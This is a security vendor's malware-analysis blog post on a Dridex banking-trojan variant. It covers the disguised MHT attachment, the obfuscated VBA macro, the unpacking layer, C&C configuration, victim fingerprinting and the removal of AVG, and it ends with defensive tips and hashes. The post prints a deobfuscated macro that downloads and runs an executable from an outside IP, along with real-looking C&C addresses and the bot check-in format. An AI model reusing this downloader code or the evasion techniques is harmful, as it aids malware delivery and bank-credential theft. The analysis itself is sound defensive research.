Credit: Christopher D. Del Fierro, Lead Malware Research Engineer, ThreatTrack Security
We have seen Dridex since 2014 and it is still active in the wild today. This research will be focusing on analyzing Dridex and on how it is able to remain undetected by most antivirus engines. For those not familiar with Dridex, it is a malspam (malware from a spam email) that targets Windows-operated systems with the intent to steal credentials and obtain money from a victim’s bank account.
Malware authors, not surprisingly, always try to come up with something new to avoid detection and make the researcher’s life more difficult. In a quick overview, there is nothing new in the infection sequence of Dridex. But authors of Dridex have made some upgrades and workarounds to avoid detection that we’ll discuss in detail below.
INFECTION CHAIN SUMMARY
IN-DEPTH ANALYSIS
As most of Dridex samples come through spam, this particular new variant is no different. We recently caught a sample of its email attachment named “Payment Confirmation 98FD41.doc.” Although the attachment is named with a .doc extension, it is not a DOC file format but actually a malformed MHT. MHTs are archived format for web pages that are usually opened with Internet Explorer by default.
The malware author purposely crafted bytes before the string “MIME-version” to signify the start of an actual MHT file. This was done in an attempt to bypass some antivirus scanner engines and wrongfully classify this type of malware as a txt file or any other file format but not MHT.
This MHT file contains an embedded DOC file inside. The DOC file is the one that contains VBA (Visual Basic for Applications) macro codes responsible for downloading and executing Dridex unbeknownst to the user.
In most scenarios where computer systems are running Microsoft Windows, MHT files are loaded through Internet Explorer while DOC files are loaded by Microsoft Word, unless an advanced user changes its default application launcher settings. Because of those default settings, the malware author deliberately altered the extension of its malformed MHT file and changed it into .doc, fooling the system into loading it via Microsoft Word. And if macros are enabled in Microsoft Word, it will continue its infection routine and download and execute Dridex in the background.
As of this blog, executing the “Payment Confirmation 98FD41.doc” in a sandbox environment with macros enabled produces an error in VBA. This is because the site that it supposedly attempts to connect to is now down.
Pressing Alt+F8 in Microsoft Word takes us to the Macros screen. As you can see, it has two macro functions, AutoOpen and FYFChvhfygDGHds.
Attempting to click “Edit” will promt a request for a password, which, of course, could be anything.
This makes things a bit more challenging, but we can extract the information using a more unconventional method.
Since “Payment Confirmation 98FD41.doc” is actually an MHT file that contains an embedded doc file, the first step is to rename it to an .eml extension “Payment Confirmation 98FD41.eml.” From there, we opened it using Microsoft Outlook (though whatever email client is currently being used will suffice). The embedded objects in “Payment Confirmation 98FD41.doc” have become attachments when renamed to .eml. Then we browsed the attachments and looked for a file that starts with the string “ActiveMime” when viewed in a hex editor.
This type is of file format is an MSO and could not be read normally by the naked eye. Since this is an old-school malware, we were lucky to have kept an old-school tool called UNMSO.EXE, which, as the name implies, unpacks the MSO. The output of this tool produces a “true” DOC file format. And yes, it holds our malicious VBA macro codes inside.
Quickly examining the DOC file output, we can see naked strings “http://31.131.24.203/indiana/jones.php” and ”yFUYIdsf.exe” in the body.
We then used a tool called olevba.py (http://www.decalage.info/python/olevba) to extract VBA macro source codes and output its result into a text file.
Typical to any VBA macro malwares, it is obfuscated and contains a bunch of useless codes in an attempt to confuse the researcher analyzing it. The list is pretty lengthly, so only the important ones are listed here.
pjIOHdsfc = UserForm1.TextBox1 (which points to the string http://31.131.24.203/indiana/jones.php)
dTYFidsff = Environ(StrReverse(“PMET”)) & UserForm1.TextBox2 (which points to the string yFUYIdsf.exe)
Dim erDTFGHJkds As Object
Set erDTFGHJkds = CreateObject(StrReverse(“1.5.tseuqerPTTHniW.PTTHniW”))
erDTFGHJkds.Open StrReverse(“TEG”), pjIOHdsfc, False
erDTFGHJkds.Send
Open dTYFidsff For Binary Access Write As #yFVHJBkdsf
sjdhfbk = Shell(dTYFidsff, vbHide)
VBA Open command is responsible for connecting and downloading Dridex while VBA Shell command is responsible for executing it. In this example, it connects and downloads Dridex in http://31.131.24.203/indiana/jones.php, which is later renamed and executed in %TEMP% yFUYIdsf.exe.
DOWNLOADED DRIDEX EXECUTABLE
The downloaded Dridex executable has an MD5 of EBB1562E4B0ED5DB8A646710F3CD2EB8. Analyzing this executable is like an orange, we have to peel-off the outer layer first to get to the good stuff. We can break the Dridex executable further into two parts: The Decoder and the Naked Dridex.
THE DECODER
A quick glance at its entry-point, it looks like a Microsoft Visual C++ 6.0 compiled program. In fact, it is really a Microsoft Visual C++ 6.0 except that the usual code-execution is not followed. That means Dridex codes are inserted right before WINMAIN is called (WINMAIN is the usual go-to entry-point of a C++ 6 compiled executable). This was intended by the malware author in an attempt to hide its code from the researcher. There are also a bunch of useless codes, strings, loops and windows APIs to throw off researchers when debugging.
The code will look for kernel32.VirtualAlloc API by traversing kernel32.dll’s import table and comparing it to the hash of “3A8E4D14h” using its own hashing algorithm.
It uses the unconventional PUSH DWORD OFFSET – RETN combination instead of a direct CALL DWORD approach to hide its procedures.
Once kernel32.VirtualAlloc has been successfully saved, it will then use the said API to allocate a size of 5A44h bytes in memory in order to decrypt codes and write it to the allocated memory space before transferring execution.
It will then again traverse kernel32.dll in order to get the base image address and populate its API table, which is needed for further unpacking. Using GetProcAddress, it will get the address of the following APIs:
CloseHandle
CreateThread
CreateToolhelp32Snapshot
EnterCriticalSection
EnumServicesStatusExA
FreeConsole
GetCurrentProcessId
GetCurrentThreadId
GlobalAlloc
GlobalFree
InitializeCriticalSection
IsBadReadPtr
LeaveCriticalSection
LeaveCriticalSection
LoadLibraryA
OpenSCManagerA
RegCloseKey
RegOpenKeyExA
RtlDecompressBuffer
RtlZeroMemory
Thread32First
Thread32Next
VirtualAlloc
VirtualFree
VirtualProtect
ZwCreateFile
ZwCreateThread
ZwCreateThreadEx
ZwCreateUserProcess
ZwOpenFile
ZwOpenProcess
ZwProtectVirtualMemory
ZwQueueApcThread
ZwSetContextThread
ZwSetValueKey
ZwSuspendThread
ZwTerminateProcess
ZwWriteVirtualMemory
After a series of debugging obfuscated codes and decrypting, it will finally land on using RTLDecompressBuffer in which an MZ-PE file will be decompressed in memory, after which execution is then transferred using CreateThread. This decompressed executable (we call it Naked Dridex) is detected as Trojan.Win32.Dridex.aa (v) by VIPRE long before. Based on this observation, this variant of the Dridex executable was already caught in the past, hence the reason it is detected by a heuristic pattern by ThreatTrack’s VIPRE Antivirus. The only difference now is that it is wrapped around by a “new” protective layer as a means of bypassing most antivirus engines.
We also made another interesting discovering when debugging: The malware attempts to hide its tracks by using Windows API FreeConsole. Taken from MSDN, FreeConsole detaches the calling process from its console.
Since this executable is of a Win32 console-type subsystem, you should see a console application popping up and then closing abruptly if you run it in a Windows environment (i.e. double-click “execute”). It only means that it detached itself from the console application but continually runs itself in the background. One way to test this theory is to execute the malware in CMD.EXE and you should see that no inputs will be accepted subsequently. This is because FreeConsole detached the malware from CMD.EXE. Even pushing “CTRL-C,” “CTRL-BREAK” or even closing CMD.EXE altogether will not stop it from progressing.
THE NAKED DRIDEX
This is where it all gets interesting. Although we have peeled off most of its outer layer, this malware still has plenty of obfuscated codes within it. Note that its Import Address Table is 0, meaning that at some point it will have to populate its IAT.
These are the following Windows APIs that will be used:
AllocateAndInitializeSid
CharLowerA
CloseHandle
CommandLineToArgvW
CompareStringA
CreateFileW
CryptAcquireContextW
CryptCreateHash
CryptDestroyHash
CryptGenRandom
CryptGetHashParam
CryptHashData
CryptReleaseContext
DeleteFileW
EqualSid
ExitProcess
ExpandEnvironmentStringsW
FindClose
FindFirstFileW
FindNextFileW
FreeSid
GetCurrentProcess
GetFileAttributesW
GetLastError
GetTokenInformation
GetVersionExW
HeapAlloc
HeapCreate
HeapFree
HeapSize
HeapValidate
HttpOpenRequestW
HttpQueryInfoW
HttpSendRequestW
InternetCloseHandle
InternetConnectW
InternetOpenA
InternetQueryOptionW
InternetReadFile
InternetSetOptionW
IsWow64Process
LoadLibraryW
MultiByteToWideChar
OpenProcessToken
RegCloseKey
RegEnumKeyA
RegOpenKeyExA
RegQueryValueExA
RemoveDirectoryW
RtlComputeCrc32
RtlFillMemory
RtlGetLastWin32Error
RtlMoveMemory
SetFileAttributesW
SetFilePointer
Sleep
WideCharToMultiByte
WTSEnumarateSessionsW
WTSFreeMemory
WTSQueryUserToken
wvnsprintfW
Previous versions of Dridex have CnC configuration that are usually found and is easily decrypted with linear XOR or even seen as plain text format like this in its body:
<config botnet=”xxx”>
<server_list>
37.139.47.105:80
66.110.179.66:8080
5.39.99.18:80
136.243.237.218:80
</server_list>
</config>
However, with this version, settings are located in .data section in hex format just to make it harder for the researcher to distinguish them.
Converting them to their ASCII counterpart will have the following settings as:
Bot version: 0x78 = 120
CnC Servers:
0xB9.0x18.0x5C.0xE5:0x1287 = 185.24.92.229:4743
0x67.0xE0.0x53.0x82:0x102F = 103.224.83.130:4143
0x2E.0x65.0x9B.0x35:0x0477 = 46.101.155.53:1143
0x01.0xB3.0xAA.0x07:0x118D = 1.179.170.7:4493
Dridex will collect information to fingerprint the infected system. Data like the Windows version “Service Pack,” computer name, username, install date and installed softwares will be gathered and sent to a CnC server.
A unique module name by the infected system will be generated by computing for the MD5 of combined data of the following registry entries:
Key: HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/ComputerName/ComputerName
Name: ComputerName
Key: HKEY_LOCAL_MACHINE/Volatile Environment
Name: USERNAME
Key: HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion
Name: InstallDate
The MD5 result will be appended to the ComputerName joined with the character “_” (e.g. “WINXP_2449c0c0c6a9ffb4e33613709f4db358”).
It will also gather a list of installed software by enumerating the subkeys of HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall and acquiring their “DisplayName” and “DisplayVersion.” It will construct a string using the format “DisplayName (DisplayVersion) separated by “;” for every subkey enumerated.
It will then attempt to delete versions of AVG antivirus in an infected system by searching for its settings in the registry “HKLM/SYSTEM/CurrentControlSet/services/Avg/SystemValues” and traversing the %LocalAppData% folder for its files. It even supported deleting future versions of AVG, from AVG2010 upto AVG2020.
We have noticed, though, that there seems to be an irregularity on the coding part of the malware author because it decrements the value of AVG20(%d) by one where %d starts from 20 (e.g AVG2020, AVG2019, AVG2018, etc.) So when it reaches AVG2010, instead of decrementing to AVG2009, it becomes AVG209, AVG208, AVG207 upto AVG206.
This is the message format that is to be sent to a CnC.
<loader><get_module unique=”%s” botnet=”%d” system=”%d” name=”%s” bit=”%d”/>
Sample message to send:
<loader><get_module unique=”WINXP_2449c0c0c6a9ffb4e33613709f4db358″ botnet=”120″ system=”23120″ name=”list” bit=”32″/><soft><![CDATA[4NT Unicode 6.0 (6.0);AOL Instant Messenger;CodeStuff Starter (5.6.2.0);Compuware DriverStudio 3.2 (3.2);HijackThis 1.99.1 (1.99.1);IDA Pro Advanced v5.0;InstallRite 2.5;mIRC (6.21);PE Explorer 1.96 (1.96);Viewpoint Media Player;VideoLAN VLC media player 0.8.6c(0.8.6c);Windows XP Service Pack 2 (20040803.231319);WinHex;WinPcap 4.0.1 (4.0.0.901);WinRAR archiver;Wireshark 0.99.6a (0.99.6a);Yahoo! Messenger;ActivePerl5.8.3 Build 809 (5.8.809);Debugging Tools for Windows (x86) (6.9.3.113);Microsoft Visual C++ 2008 Redistributable – x86 9.0.30729.4148 (9.0.30729.4148);Python 2.5.1 (2.5.1150);WebFldrs XP (9.50.5318);UltraEdit-32 (10.20c);Java 2 RuntimeEnvironment, SE v1.4.2_15 (1.4.2_15);Microsoft Office Professional Edition 2003 (11.0.5614.0);MSN Messenger 7.0 (7.0.0777);Adobe Reader 6.0 (6.0);VMware Tools (9.6.1.1378637);Compuware DriverStudio (3.2);Starting path: 5]]></soft></loader>
The malware then attempts to connect to its CnC servers using SSL requests by using wininet functions such as InternetConnectW and HttpOpenRequestW. It then sends the data gathered earlier using HttpSendRequestW.
The server will even reply a malicious SSL certificate upon a successful connection. SQUERT identified the Malicious SSL certificate as Dridex.
The CnC server is supposed to issue a malicious DLL file at this point with an export function of “NotifierInit” and attach it to a running process of EXPLORER.EXE; however, the CnCs in its list are now taken down as of this writing.
WHAT TO DO?
To keep Dridex at bay, we recommended you block it early from the root of its infection chain. Here are some tips:
- Always keep your operating system and security products up to date.
- Take precaution when opening attachments, especially when sent by an unknown sender.
- Never enable VBA macros by default for any Microsoft Office application. Some macro malwares even tell you how to enable macros or may mislead you in doing so.
- Leverage advanced threat defense tools like ThreatSecure Email to protect against spear-phishing and targeted malware attacks that bypass traditional defenses. Cybercriminals have developed increasingly sophisticated attacks to bypass anti-spam and email filtering technologies and infiltrate your network. ThreatSecure Email identifies suspicious emails, detects malicious attachments or links, and stops them before they can reach their target, without relying on signatures.
HASHES
A6844F8480E641ED8FB0933061947587 – malicious MHT attachment (LooksLike.MHT.Malware.a (v))
EBB1562E4B0ED5DB8A646710F3CD2EB8 – Dridex executable (Trojan.Win32.Generic!BT)
The post What’s New with Dridex appeared first on ThreatTrack Security Labs Blog.